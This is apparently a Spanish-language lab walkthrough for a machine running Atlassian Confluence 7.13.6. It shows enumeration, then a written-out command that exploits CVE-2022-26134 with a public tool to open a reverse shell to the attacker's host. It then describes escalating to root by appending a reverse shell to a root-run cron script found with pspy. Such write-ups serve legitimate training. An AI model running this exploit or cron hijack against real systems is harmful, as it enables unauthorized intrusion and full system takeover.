192.168.193.41

Enumeration

image.png

image.png

Port 8090

Atlassian Confluence 7.13.6 corriendo en el puerto 8090

image.png

Exploitation

Es vulnerable a CVE-2022-26134. Usamos el exploit https://github.com/jbaines-r7/through_the_wire para obtener una reverse shell

python3 through_the_wire.py --rhost 192.168.193.41 --rport 8090 --lhost 192.168.45.160 --protocol http:// --reverse-shell

image.png

image.png

Privileges Escalation

image.png

Después de subir pspy al objetivo y escuchar los procesos, observamos que se está ejecutando un cronjob.

2023/12/13 09:52:01 CMD: UID=0     PID=2431   | /usr/sbin/CRON -f -P
2023/12/13 09:52:01 CMD: UID=0     PID=2432   | /usr/sbin/CRON -f -P
2023/12/13 09:52:01 CMD: UID=0     PID=2433   |
2023/12/13 09:52:01 CMD: UID=0     PID=2434   | /bin/sh /opt/log-backup.sh

/opt/log-backup.sh

image.png

Añadimos una reverse shell al final del script